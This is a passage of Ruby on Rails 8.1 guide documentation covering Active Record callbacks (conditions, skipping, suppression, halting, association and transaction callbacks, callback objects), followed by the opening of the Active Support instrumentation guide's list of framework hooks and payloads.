It is possible to associate `:if` and `:unless` with a `Proc` object. This option is best suited when writing short validation methods, usually one-liners:

```
class Order < ApplicationRecord
  before_save :normalize_card_number,
    if: ->(order) { order.paid_with_card? }
end
```

Since the proc is evaluated in the context of the object, it is also possible to write this as:

```
class Order < ApplicationRecord
  before_save :normalize_card_number, if: -> { paid_with_card? }
end
```

### [5.3. Multiple Callback Conditions](#multiple-callback-conditions)

The `:if` and `:unless` options also accept an array of procs or method names as symbols:

```
class Comment < ApplicationRecord
  before_save :filter_content,
    if: [:subject_to_parental_control?, :untrusted_author?]
end
```

You can easily include a proc in the list of conditions:

```
class Comment < ApplicationRecord
  before_save :filter_content,
    if: [:subject_to_parental_control?, -> { untrusted_author? }]
end
```

### [5.4. Using Both `:if` and `:unless`](#using-both-if-and-unless)

Callbacks can mix both `:if` and `:unless` in the same declaration:

```
class Comment < ApplicationRecord
  before_save :filter_content,
    if: -> { forum.parental_control? },
    unless: -> { author.trusted? }
end
```

The callback only runs when all the `:if` conditions and none of the `:unless` conditions are evaluated to `true`.

## [6. Skipping Callbacks](#skipping-callbacks)

Just as with [validations](active_record_validations.html), it is also possible to skip callbacks by using the following methods:

* [`decrement!`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Persistence.html#method-i-decrement-21)
* [`decrement_counter`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/CounterCache/ClassMethods.html#method-i-decrement_counter)
* [`delete`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Persistence.html#method-i-delete)
* [`delete_all`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Relation.html#method-i-delete_all)
* [`delete_by`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Relation.html#method-i-delete_by)
* [`increment!`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Persistence.html#method-i-increment-21)
* [`increment_counter`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/CounterCache/ClassMethods.html#method-i-increment_counter)
* [`insert`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Relation.html#method-i-insert)
* [`insert!`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Relation.html#method-i-insert-21)
* [`insert_all`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Relation.html#method-i-insert_all)
* [`insert_all!`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Relation.html#method-i-insert_all-21)
* [`touch_all`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Relation.html#method-i-touch_all)
* [`update_column`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Persistence.html#method-i-update_column)
* [`update_columns`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Persistence.html#method-i-update_columns)
* [`update_all`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Relation.html#method-i-update_all)
* [`update_counters`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Relation.html#method-i-update_counters)
* [`upsert`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Relation.html#method-i-upsert)
* [`upsert_all`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Relation.html#method-i-upsert_all)

Let's consider a `User` model where the `before_save` callback logs any changes to the user's email address:

```
class User < ApplicationRecord
  before_save :log_email_change

  private
    def log_email_change
      if email_changed?
        Rails.logger.info("Email changed from #{email_was} to #{email}")
      end
    end
end
```

Now, suppose there's a scenario where you want to update the user's email address without triggering the `before_save` callback to log the email change. You can use the `update_columns` method for this purpose:

```
irb> user = User.find(1)
irb> user.update_columns(email: 'new_email@example.com')
```

The above will update the user's email address without triggering the `before_save` callback.

These methods should be used with caution because there may be important business rules and application logic in callbacks that you do not want to bypass. Bypassing them without understanding the potential implications may lead to invalid data.

## [7. Suppressing Saving](#suppressing-saving)

In certain scenarios, you may need to temporarily prevent records from being saved within your callbacks. This can be useful if you have a record with complex nested associations and want to skip saving specific records during certain operations without permanently disabling the callbacks or introducing complex conditional logic.

Rails provides a mechanism to prevent saving records using the [`ActiveRecord::Suppressor` module](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Suppressor.html). By using this module, you can wrap a block of code where you want to avoid saving records of a specific type that otherwise would be saved by the code block.

Let's consider a scenario where a user has many notifications. Creating a `User` will automatically create a `Notification` record as well.

```
class User < ApplicationRecord
  has_many :notifications

  after_create :create_welcome_notification

  def create_welcome_notification
    notifications.create(event: "sign_up")
  end
end

class Notification < ApplicationRecord
  belongs_to :user
end
```

To create a user without creating a notification, we can use the ActiveRecord::Suppressor module as follows:

```
Notification.suppress do
  User.create(name: "Jane", email: "jane@example.com")
end
```

In the above code, the `Notification.suppress` block ensures that the `Notification` is not saved during the creation of the "Jane" user.

Using the Active Record Suppressor can introduce complexity and unexpected behavior. Suppressing saving can obscure the intended flow of your application, leading to difficulties in understanding and maintaining the codebase over time. Carefully consider the implications of using the suppressor, ensuring thorough documentation and thoughtful testing to mitigate risks of unintended side effects and test failures.

## [8. Halting Execution](#halting-execution)

As you start registering new callbacks for your models, they will be queued for execution. This queue will include all of your model's validations, the registered callbacks, and the database operation to be executed.

The whole callback chain is wrapped in a transaction. If any callback raises an exception, the execution chain gets halted and a **rollback** is issued, and the error will be re-raised.

```
class Product < ActiveRecord::Base
  before_validation do
    raise "Price can't be negative" if total_price < 0
  end
end

Product.create # raises "Price can't be negative"
```

This unexpectedly breaks code that does not expect methods like `create` and `save` to raise exceptions.

If an exception occurs during the callback chain, Rails will re-raise it unless it is an `ActiveRecord::Rollback` or `ActiveRecord::RecordInvalid` exception. Instead, you should use `throw :abort` to intentionally halt the chain. If any callback throws `:abort`, the process will be aborted and `create` will return false.

```
class Product < ActiveRecord::Base
  before_validation do
    throw :abort if total_price < 0
  end
end

Product.create # => false
```

However, it will raise an `ActiveRecord::RecordNotSaved` when calling `create!`. This exception indicates that the record was not saved due to the callback's interruption.

```
Product.create! # => raises an ActiveRecord::RecordNotSaved
```

When `throw :abort` is called in any destroy callback, `destroy` will return false:

```
class User < ActiveRecord::Base
  before_destroy do
    throw :abort if still_active?
  end
end

User.first.destroy # => false
```

However, it will raise an `ActiveRecord::RecordNotDestroyed` when calling `destroy!`.

```
User.first.destroy! # => raises an ActiveRecord::RecordNotDestroyed
```

## [9. Association Callbacks](#association-callbacks)

Association callbacks are similar to normal callbacks, but they are triggered by events in the life cycle of the associated collection. There are four available association callbacks:

* `before_add`
* `after_add`
* `before_remove`
* `after_remove`

You can define association callbacks by adding options to the association.

Suppose you have an example where an author can have many books. However, before adding a book to the authors collection, you want to ensure that the author has not reached their book limit. You can do this by adding a `before_add` callback to check the limit.

```
class Author < ApplicationRecord
  has_many :books, before_add: :check_limit

  private
    def check_limit(_book)
      if books.count >= 5
        errors.add(:base, "Cannot add more than 5 books for this author")
        throw(:abort)
      end
    end
end
```

If a `before_add` callback throws `:abort`, the object does not get added to the collection.

At times you may want to perform multiple actions on the associated object. In this case, you can stack callbacks on a single event by passing them as an array. Additionally, Rails passes the object being added or removed to the callback for you to use.

```
class Author < ApplicationRecord
  has_many :books, before_add: [:check_limit, :calculate_shipping_charges]

  def check_limit(_book)
    if books.count >= 5
      errors.add(:base, "Cannot add more than 5 books for this author")
      throw(:abort)
    end
  end

  def calculate_shipping_charges(book)
    weight_in_pounds = book.weight_in_pounds || 1
    shipping_charges = weight_in_pounds * 2

    shipping_charges
  end
end
```

Similarly, if a `before_remove` callback throws `:abort`, the object does not get removed from the collection.

These callbacks are called only when the associated objects are added or removed through the association collection.

```
# Triggers `before_add` callback
author.books << book
author.books = [book, book2]

# Does not trigger the `before_add` callback
book.update(author_id: 1)
```

## [10. Cascading Association Callbacks](#cascading-association-callbacks)

Callbacks can be performed when associated objects are changed. They work through the model associations whereby life cycle events can cascade on associations and fire callbacks.

Suppose an example where a user has many articles. A user's articles should be destroyed if the user is destroyed. Let's add an `after_destroy` callback to the `User` model by way of its association to the `Article` model:

```
class User < ApplicationRecord
  has_many :articles, dependent: :destroy
end

class Article < ApplicationRecord
  after_destroy :log_destroy_action

  def log_destroy_action
    Rails.logger.info("Article destroyed")
  end
end
```

```
irb> user = User.first
=> #<User id: 1>
irb> user.articles.create!
=> #<Article id: 1, user_id: 1>
irb> user.destroy
Article destroyed
=> #<User id: 1>
```

When using a `before_destroy` callback, it should be placed before `dependent: :destroy` associations (or use the `prepend: true` option), to ensure they execute before the records are deleted by `dependent: :destroy`.

## [11. Transaction Callbacks](#transaction-callbacks)

### [11.1. `after_commit` and `after_rollback`](#after-commit-and-after-rollback)

Two additional callbacks are triggered by the completion of a database transaction: [`after_commit`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Transactions/ClassMethods.html#method-i-after_commit) and [`after_rollback`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Transactions/ClassMethods.html#method-i-after_rollback). These callbacks are very similar to the `after_save` callback except that they don't execute until after database changes have either been committed or rolled back. They are most useful when your Active Record models need to interact with external systems that are not part of the database transaction.

Consider a `PictureFile` model that needs to delete a file after the corresponding record is destroyed.

```
class PictureFile < ApplicationRecord
  after_destroy :delete_picture_file_from_disk

  def delete_picture_file_from_disk
    if File.exist?(filepath)
      File.delete(filepath)
    end
  end
end
```

If anything raises an exception after the `after_destroy` callback is called and the transaction rolls back, then the file will have been deleted and the model will be left in an inconsistent state. For example, suppose that `picture_file_2` in the code below is not valid and the `save!` method raises an error.

```
PictureFile.transaction do
  picture_file_1.destroy
  picture_file_2.save!
end
```

By using the `after_commit` callback we can account for this case.

```
class PictureFile < ApplicationRecord
  after_commit :delete_picture_file_from_disk, on: :destroy

  def delete_picture_file_from_disk
    if File.exist?(filepath)
      File.delete(filepath)
    end
  end
end
```

The `:on` option specifies when a callback will be fired. If you don't supply the `:on` option the callback will fire for every life cycle event. [Read more about `:on`](#registering-callbacks-to-fire-on-life-cycle-events).

When a transaction completes, the `after_commit` or `after_rollback` callbacks are called for all models created, updated, or destroyed within that transaction. However, if an exception is raised within one of these callbacks, the exception will bubble up and any remaining `after_commit` or `after_rollback` methods will *not* be executed.

```
class User < ActiveRecord::Base
  after_commit { raise "Intentional Error" }
  after_commit {
    # This won't get called because the previous after_commit raises an exception
    Rails.logger.info("This will not be logged")
  }
end
```

If your callback code raises an exception, you'll need to rescue it and handle it within the callback in order to allow other callbacks to run.

`after_commit` makes very different guarantees than `after_save`, `after_update`, and `after_destroy`. For example, if an exception occurs in an `after_save` the transaction will be rolled back and the data will not be persisted.

```
class User < ActiveRecord::Base
  after_save do
    # If this fails the user won't be saved.
    EventLog.create!(event: "user_saved")
  end
end
```

However, during `after_commit` the data was already persisted to the database, and thus any exception won't roll anything back anymore.

```
class User < ActiveRecord::Base
  after_commit do
    # If this fails the user was already saved.
    EventLog.create!(event: "user_saved")
  end
end
```

The code executed within `after_commit` or `after_rollback` callbacks is itself not enclosed within a transaction.

In the context of a single transaction, if you represent the same record in the database, there's a crucial behavior in the `after_commit` and `after_rollback` callbacks to note. These callbacks are triggered only for the first object of the specific record that changes within the transaction. Other loaded objects, despite representing the same database record, will not have their respective `after_commit` or `after_rollback` callbacks triggered.

```
class User < ApplicationRecord
  after_commit :log_user_saved_to_db, on: :update

  private
    def log_user_saved_to_db
      Rails.logger.info("User was saved to database")
    end
end
```

```
irb> user = User.create
irb> User.transaction { user.save; user.save }
# User was saved to database
```

This nuanced behavior is particularly impactful in scenarios where you expect independent callback execution for each object associated with the same database record. It can influence the flow and predictability of callback sequences, leading to potential inconsistencies in application logic following the transaction.

### [11.2. Aliases for `after_commit`](#aliases-for-after-commit)

Using the `after_commit` callback only on create, update, or destroy is common. Sometimes you may also want to use a single callback for both `create` and `update`. Here are some common aliases for these operations:

* [`after_destroy_commit`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Transactions/ClassMethods.html#method-i-after_destroy_commit)
* [`after_create_commit`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Transactions/ClassMethods.html#method-i-after_create_commit)
* [`after_update_commit`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Transactions/ClassMethods.html#method-i-after_update_commit)
* [`after_save_commit`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Transactions/ClassMethods.html#method-i-after_save_commit)

Let's go through some examples:

Instead of using `after_commit` with the `on` option for a destroy like below:

```
class PictureFile < ApplicationRecord
  after_commit :delete_picture_file_from_disk, on: :destroy

  def delete_picture_file_from_disk
    if File.exist?(filepath)
      File.delete(filepath)
    end
  end
end
```

You can instead use the `after_destroy_commit`.

```
class PictureFile < ApplicationRecord
  after_destroy_commit :delete_picture_file_from_disk

  def delete_picture_file_from_disk
    if File.exist?(filepath)
      File.delete(filepath)
    end
  end
end
```

The same applies for `after_create_commit` and `after_update_commit`.

However, if you use the `after_create_commit` and the `after_update_commit` callback with the same method name, it will only allow the last callback defined to take effect, as they both internally alias to `after_commit` which overrides previously defined callbacks with the same method name.

```
class User < ApplicationRecord
  after_create_commit :log_user_saved_to_db
  after_update_commit :log_user_saved_to_db

  private
    def log_user_saved_to_db
      # This only gets called once
      Rails.logger.info("User was saved to database")
    end
end
```

```
irb> user = User.create # prints nothing

irb> user.save # updating @user
User was saved to database
```

In this case, it's better to use `after_save_commit` instead which is an alias for using the `after_commit` callback for both create and update:

```
class User < ApplicationRecord
  after_save_commit :log_user_saved_to_db

  private
    def log_user_saved_to_db
      Rails.logger.info("User was saved to database")
    end
end
```

```
irb> user = User.create # creating a User
User was saved to database

irb> user.save # updating user
User was saved to database
```

### [11.3. Transactional Callback Ordering](#transactional-callback-ordering)

By default (from Rails 7.1), transaction callbacks will run in the order they are defined.

```
class User < ActiveRecord::Base
  after_commit { Rails.logger.info("this gets called first") }
  after_commit { Rails.logger.info("this gets called second") }
end
```

However, in prior versions of Rails, when defining multiple transactional `after_` callbacks (`after_commit`, `after_rollback`, etc), the order in which the callbacks were run was reversed.

If for some reason you'd still like them to run in reverse, you can set the following configuration to `false`. The callbacks will then run in the reverse order. See the [Active Record configuration options](configuring.html#config-active-record-run-after-transaction-callbacks-in-order-defined) for more details.

```
config.active_record.run_after_transaction_callbacks_in_order_defined = false
```

This applies to all `after_*_commit` variations too, such as `after_destroy_commit`.

### [11.4. Per transaction callback](#per-transaction-callback)

You can also register transactional callbacks such as `before_commit`, `after_commit` and `after_rollback` on a specific transaction. This is handy in situations where you need to perform an action that isn't specific to a model but rather a unit of work.

`ActiveRecord::Base.transaction` yields an `ActiveRecord::Transaction` object, which allows registering the said callbacks on it.

```
Article.transaction do |transaction|
  article.update(published: true)

  transaction.after_commit do
    PublishNotificationMailer.with(article: article).deliver_later
  end
end
```

### [11.5. `ActiveRecord.after_all_transactions_commit`](#activerecord-after-all-transactions-commit)

[`ActiveRecord.after_all_transactions_commit`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord.html#method-c-after_all_transactions_commit) is a callback that allows you to run code after all the current transactions have been successfully committed to the database.

```
def publish_article(article)
  Article.transaction do
    Post.transaction do
      ActiveRecord.after_all_transactions_commit do
        PublishNotificationMailer.with(article: article).deliver_later
        # An email will be sent after the outermost transaction is committed.
      end
    end
  end
end
```

A callback registered to `after_all_transactions_commit` will be triggered after the outermost transaction is committed. If any of the currently open transactions is rolled back, the block is never called. In the event that there are no open transactions at the time a callback is registered, the block will be yielded immediately.

## [12. Callback Objects](#callback-objects)

Sometimes the callback methods that you'll write will be useful enough to be reused by other models. Active Record makes it possible to create classes that encapsulate the callback methods, so they can be reused.

Here's an example of an `after_commit` callback class to deal with the cleanup of discarded files on the filesystem. This behavior may not be unique to our `PictureFile` model and we may want to share it, so it's a good idea to encapsulate this into a separate class. This will make testing that behavior and changing it much easier.

```
class FileDestroyerCallback
  def after_commit(file)
    if File.exist?(file.filepath)
      File.delete(file.filepath)
    end
  end
end
```

When declared inside a class, as above, the callback methods will receive the model object as a parameter. This will work on any model that uses the class like so:

```
class PictureFile < ApplicationRecord
  after_commit FileDestroyerCallback.new
end
```

Note that we needed to instantiate a new `FileDestroyerCallback` object, since we declared our callback as an instance method. This is particularly useful if the callbacks make use of the state of the instantiated object. Often, however, it will make more sense to declare the callbacks as class methods:

```
class FileDestroyerCallback
  def self.after_commit(file)
    if File.exist?(file.filepath)
      File.delete(file.filepath)
    end
  end
end
```

When the callback method is declared this way, it won't be necessary to instantiate a new `FileDestroyerCallback` object in our model.

```
class PictureFile < ApplicationRecord
  after_commit FileDestroyerCallback
end
```

You can declare as many callbacks as you want inside your callback objects.

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/active_support_instrumentation.html
----

***

## [1. Introduction to Instrumentation](#introduction-to-instrumentation)

The instrumentation API provided by Active Support allows developers to provide hooks which other developers may hook into. There are [several of these](#rails-framework-hooks) within the Rails framework. With this API, developers can choose to be notified when certain events occur inside their application or another piece of Ruby code.

For example, there is [a hook](#sql-active-record) provided within Active Record that is called every time Active Record uses an SQL query on a database. This hook could be **subscribed** to, and used to track the number of queries during a certain action. There's [another hook](#process-action-action-controller) around the processing of an action of a controller. This could be used, for instance, to track how long a specific action has taken.

You are even able to [create your own events](#creating-custom-events) inside your application which you can later subscribe to.

## [2. Subscribing to an Event](#subscribing-to-an-event)

Use [`ActiveSupport::Notifications.subscribe`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/Notifications.html#method-c-subscribe) with a block to listen to any notification. Depending on the amount of arguments the block takes, you will receive different data.

The first way to subscribe to an event is to use a block with a single argument. The argument will be an instance of [`ActiveSupport::Notifications::Event`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/Notifications/Event.html).

```
ActiveSupport::Notifications.subscribe "process_action.action_controller" do |event|
  event.name        # => "process_action.action_controller"
  event.duration    # => 10 (in milliseconds)
  event.allocations # => 1826
  event.payload     # => {:extra=>information}

  Rails.logger.info "#{event} Received!"
end
```

If you don't need all the data recorded by an Event object, you can also specify a block that takes the following five arguments:

* Name of the event
* Time when it started
* Time when it finished
* A unique ID for the instrumenter that fired the event
* The payload for the event

```
ActiveSupport::Notifications.subscribe "process_action.action_controller" do |name, started, finished, unique_id, payload|
  # your own custom stuff
  Rails.logger.info "#{name} Received! (started: #{started}, finished: #{finished})" # process_action.action_controller Received! (started: 2019-05-05 13:43:57 -0800, finished: 2019-05-05 13:43:58 -0800)
end
```

If you are concerned about the accuracy of `started` and `finished` to compute a precise elapsed time, then use [`ActiveSupport::Notifications.monotonic_subscribe`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/Notifications.html#method-c-monotonic_subscribe). The given block would receive the same arguments as above, but the `started` and `finished` will have values with an accurate monotonic time instead of wall-clock time.

```
ActiveSupport::Notifications.monotonic_subscribe "process_action.action_controller" do |name, started, finished, unique_id, payload|
  # your own custom stuff
  duration = finished - started # 1560979.429234 - 1560978.425334
  Rails.logger.info "#{name} Received! (duration: #{duration})" # process_action.action_controller Received! (duration: 1.0039)
end
```

You may also subscribe to events matching a regular expression. This enables you to subscribe to multiple events at once. Here's how to subscribe to everything from `ActionController`:

```
ActiveSupport::Notifications.subscribe(/action_controller/) do |event|
  # inspect all ActionController events
end
```

## [3. Rails Framework Hooks](#rails-framework-hooks)

Within the Ruby on Rails framework, there are a number of hooks provided for common events. These events and their payloads are detailed below.

### [3.1. Action Cable](#action-cable)

#### [3.1.1. `perform_action.action_cable`](#perform-action-action-cable)

| Key              | Value                     |
| ---------------- | ------------------------- |
| `:channel_class` | Name of the channel class |
| `:action`        | The action                |
| `:data`          | A hash of data            |

#### [3.1.2. `transmit.action_cable`](#transmit-action-cable)

| Key              | Value                     |
| ---------------- | ------------------------- |
| `:channel_class` | Name of the channel class |
| `:data`          | A hash of data            |
| `:via`           | Via                       |

#### [3.1.3. `transmit_subscription_confirmation.action_cable`](#transmit-subscription-confirmation-action-cable)

| Key              | Value                     |
| ---------------- | ------------------------- |
| `:channel_class` | Name of the channel class |

#### [3.1.4. `transmit_subscription_rejection.action_cable`](#transmit-subscription-rejection-action-cable)

| Key              | Value                     |
| ---------------- | ------------------------- |
| `:channel_class` | Name of the channel class |

#### [3.1.5. `broadcast.action_cable`](#broadcast-action-cable)

| Key             | Value                |
| --------------- | -------------------- |
| `:broadcasting` | A named broadcasting |
| `:message`      | A hash of message    |
| `:coder`        | The coder            |

### [3.2. Action Controller](#action-controller)

#### [3.2.1. `start_processing.action_controller`](#start-processing-action-controller)

| Key           | Value                                                                                                          |
| ------------- | -------------------------------------------------------------------------------------------------------------- |
| `:controller` | The controller name                                                                                            |
| `:action`     | The action                                                                                                     |
| `:request`    | The [`ActionDispatch::Request`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Request.html) object |
| `:params`     | Hash of request parameters without any filtered parameter                                                      |
| `:headers`    | Request headers                                                                                                |
| `:format`     | html/js/json/xml etc                                                                                           |
| `:method`     | HTTP request verb                                                                                              |
| `:path`       | Request path                                                                                                   |

```
{
  controller: "PostsController",
  action: "new",
  params: { "action" => "new", "controller" => "posts" },
  headers: #<ActionDispatch::Http::Headers:0x0055a67a519b88>,
  format: :html,
  method: "GET",
  path: "/posts/new"
}
```

#### [3.2.2. `process_action.action_controller`](#process-action-action-controller)

| Key             | Value                                                                                                            |
| --------------- | ---------------------------------------------------------------------------------------------------------------- |
| `:controller`   | The controller name                                                                                              |
| `:action`       | The action                                                                                                       |
| `:params`       | Hash of request parameters without any filtered parameter                                                        |
| `:headers`      | Request headers                                                                                                  |
| `:format`       | html/js/json/xml etc                                                                                             |
| `:method`       | HTTP request verb                                                                                                |
| `:path`         | Request path                                                                                                     |
| `:request`      | The [`ActionDispatch::Request`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Request.html) object   |
| `:response`     | The [`ActionDispatch::Response`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Response.html) object |
| `:status`       | HTTP status code                                                                                                 |
| `:view_runtime` | Amount spent in view in ms                                                                                       |
| `:db_runtime`   | Amount spent executing database queries in ms                                                                    |

```
{
  controller: "PostsController",
  action: "index",
  params: {"action" => "index", "controller" => "posts"},
  headers: #<ActionDispatch::Http::Headers:0x0055a67a519b88>,
  format: :html,
  method: "GET",
  path: "/posts",
  request: #<ActionDispatch::Request:0x00007ff1cb9bd7b8>,
  response: #<ActionDispatch::Response:0x00007f8521841ec8>,
  status: 200,
  view_runtime: 46.848,
  db_runtime: 0.157
}
```

#### [3.2.3. `send_file.action_controller`](#send-file-action-controller)

| Key     | Value                     |
| ------- | ------------------------- |
| `:path` | Complete path to the file |

Additional keys may be added by the caller.

#### [3.2.4. `send_data.action_controller`](#send-data-action-controller)

`ActionController` does not add any specific information to the payload. All options are passed through to the payload.

#### [3.2.5. `redirect_to.action_controller`](#redirect-to-action-controller)

| Key         | Value                                                                                                          |
| ----------- | -------------------------------------------------------------------------------------------------------------- |
| `:status`   | HTTP response code                                                                                             |
| `:location` | URL to redirect to                                                                                             |
| `:request`  | The [`ActionDispatch::Request`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Request.html) object |

```
{
  status: 302,
  location: "http://localhost:3000/posts/new",
  request: <ActionDispatch::Request:0x00007ff1cb9bd7b8>
}
```

#### [3.2.6. `halted_callback.action_controller`](#halted-callback-action-controller)

| Key       | Value                         |
| --------- | ----------------------------- |
| `:filter` | Filter that halted the action |

```
{
  filter: ":halting_filter"
}
```

#### [3.2.7. `unpermitted_parameters.action_controller`](#unpermitted-parameters-action-controller)

| Key        | Value                                                                         |
| ---------- | ----------------------------------------------------------------------------- |
| `:keys`    | The unpermitted keys                                                          |
| `:context` | Hash with the following keys: `:controller`, `:action`, `:params`, `:request` |

#### [3.2.8. `send_stream.action_controller`](#send-stream-action-controller)

| Key            | Value                    |
| -------------- | ------------------------ |
| `:filename`    | The filename             |
| `:type`        | HTTP content type        |
| `:disposition` | HTTP content disposition |

```
{
  filename: "subscribers.csv",
  type: "text/csv",
  disposition: "attachment"
}
```

#### [3.2.9. `rate_limit.action_controller`](#rate-limit-action-controller)

| Key          | Value                                                                                                          |
| ------------ | -------------------------------------------------------------------------------------------------------------- |
| `:request`   | The [`ActionDispatch::Request`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Request.html) object |
| `:count`     | Number of requests made                                                                                        |
| `:to`        | Maximum number of requests allowed                                                                             |
| `:within`    | Time window for the rate limit                                                                                 |
| `:by`        | Identifier for the rate limit (e.g. IP)                                                                        |
| `:name`      | Name of the rate limit                                                                                         |
| `:scope`     | Scope of the rate limit                                                                                        |
| `:cache_key` | The cache key used for storing the rate limit                                                                  |

### [3.3. Action Controller: Caching](#action-controller-caching)

#### [3.3.1. `write_fragment.action_controller`](#write-fragment-action-controller)

| Key    | Value            |
| ------ | ---------------- |
| `:key` | The complete key |

```
{
  key: 'posts/1-dashboard-view'
}
```

#### [3.3.2. `read_fragment.action_controller`](#read-fragment-action-controller)

| Key    | Value            |
| ------ | ---------------- |
| `:key` | The complete key |

```
{
  key: 'posts/1-dashboard-view'
}
```

#### [3.3.3. `expire_fragment.action_controller`](#expire-fragment-action-controller)

| Key    | Value            |
| ------ | ---------------- |
| `:key` | The complete key |

```
{
  key: 'posts/1-dashboard-view'
}
```

#### [3.3.4. `exist_fragment?.action_controller`](#exist-fragment-questionmark-action-controller)

| Key    | Value            |
| ------ | ---------------- |
| `:key` | The complete key |

```
{
  key: 'posts/1-dashboard-view'
}
```

### [3.4. Action Dispatch](#action-dispatch)

#### [3.4.1. `process_middleware.action_dispatch`](#process-middleware-action-dispatch)

| Key           | Value                  |
| ------------- | ---------------------- |
| `:middleware` | Name of the middleware |

#### [3.4.2. `redirect.action_dispatch`](#redirect-action-dispatch)

| Key                | Value                                                                                                          |
| ------------------ | -------------------------------------------------------------------------------------------------------------- |
| `:status`          | HTTP response code                                                                                             |
| `:location`        | URL to redirect to                                                                                             |
| `:request`         | The [`ActionDispatch::Request`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Request.html) object |
| `:source_location` | Source location of redirect in routes                                                                          |

#### [3.4.3. `request.action_dispatch`](#request-action-dispatch)

| Key        | Value                                                                                                          |
| ---------- | -------------------------------------------------------------------------------------------------------------- |
| `:request` | The [`ActionDispatch::Request`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Request.html) object |

### [3.5. Action Mailbox](#action-mailbox)

#### [3.5.1. `process.action_mailbox`](#process-action-mailbox)

| Key              | Value                                                                                                                                     |
| ---------------- | ----------------------------------------------------------------------------------------------------------------------------------------- |
| `:mailbox`       | Instance of the Mailbox class inheriting from [`ActionMailbox::Base`](https://api.rubyonrails.org/v8.1.4/classes/ActionMailbox/Base.html) |
| `:inbound_email` | Hash with data about the inbound email being processed                                                                                    |

```
{
  mailbox: #<RepliesMailbox:0x00007f9f7a8388>,
  inbound_email: {
    id: 1,
    message_id: "0CB459E0-0336-41DA-BC88-E6E28C697DDB@37signals.com",
    status: "processing"
  }
}
```

### [3.6. Action Mailer](#action-mailer)

#### [3.6.1. `deliver.action_mailer`](#deliver-action-mailer)

| Key                   | Value                                                |
| --------------------- | ---------------------------------------------------- |
| `:mailer`             | Name of the mailer class                             |
| `:message_id`         | ID of the message, generated by the Mail gem         |
| `:subject`            | Subject of the mail                                  |
| `:to`                 | To address(es) of the mail                           |
| `:from`               | From address of the mail                             |
| `:bcc`                | BCC addresses of the mail                            |
| `:cc`                 | CC addresses of the mail                             |
| `:date`               | Date of the mail                                     |
| `:mail`               | The encoded form of the mail                         |
| `:perform_deliveries` | Whether delivery of this message is performed or not |

```
{
  mailer: "Notification",
  message_id: "4f5b5491f1774_181b23fc3d4434d38138e5@mba.local.mail",
  subject: "Rails Guides",
  to: ["users@rails.com", "dhh@rails.com"],
  from: ["me@rails.com"],
  date: Sat, 10 Mar 2012 14:18:09 +0100,
  mail: "...", # omitted for brevity
  perform_deliveries: true
}
```

#### [3.6.2. `process.action_mailer`](#process-action-mailer)

| Key       | Value                    |
| --------- | ------------------------ |
| `:mailer` | Name of the mailer class |
| `:action` | The action               |
| `:args`   | The arguments            |

```
{
  mailer: "Notification",
  action: "welcome_email",
  args: []
}
```

### [3.7. Action View](#action-view)

#### [3.7.1. `render_template.action_view`](#render-template-action-view)

| Key           | Value                              |
| ------------- | ---------------------------------- |
| `:identifier` | Full path to template              |
| `:layout`     | Applicable layout                  |
| `:locals`     | Local variables passed to template |

```
{
  identifier: "/Users/adam/projects/notifications/app/views/posts/index.html.erb",
  layout: "layouts/application",
  locals: { foo: "bar" }
}
```

#### [3.7.2. `render_partial.action_view`](#render-partial-action-view)

| Key           | Value                              |
| ------------- | ---------------------------------- |
| `:identifier` | Full path to template              |
| `:locals`     | Local variables passed to template |

```
{
  identifier: "/Users/adam/projects/notifications/app/views/posts/_form.html.erb",
  locals: { foo: "bar" }
}
```

#### [3.7.3. `render_collection.action_view`](#render-collection-action-view)

| Key           | Value                                 |
| ------------- | ------------------------------------- |
| `:identifier` | Full path to template                 |
| `:count`      | Size of collection                    |
| `:cache_hits` | Number of partials fetched from cache |

The `:cache_hits` key is only included if the collection is rendered with `cached: true`.

```
{
  identifier: "/Users/adam/projects/notifications/app/views/posts/_post.html.erb",
  count: 3,
  cache_hits: 0
}
```

#### [3.7.4. `render_layout.action_view`](#render-layout-action-view)

| Key           | Value                 |
| ------------- | --------------------- |
| `:identifier` | Full path to template |

```
{
  identifier: "/Users/adam/projects/notifications/app/views/layouts/application.html.erb"
}
```

### [3.8. Active Job](#active-job)

#### [3.8.1. `enqueue_at.active_job`](#enqueue-at-active-job)

| Key        | Value                                  |
| ---------- | -------------------------------------- |
| `:adapter` | QueueAdapter object processing the job |
| `:job`     | Job object                             |

#### [3.8.2. `enqueue.active_job`](#enqueue-active-job)

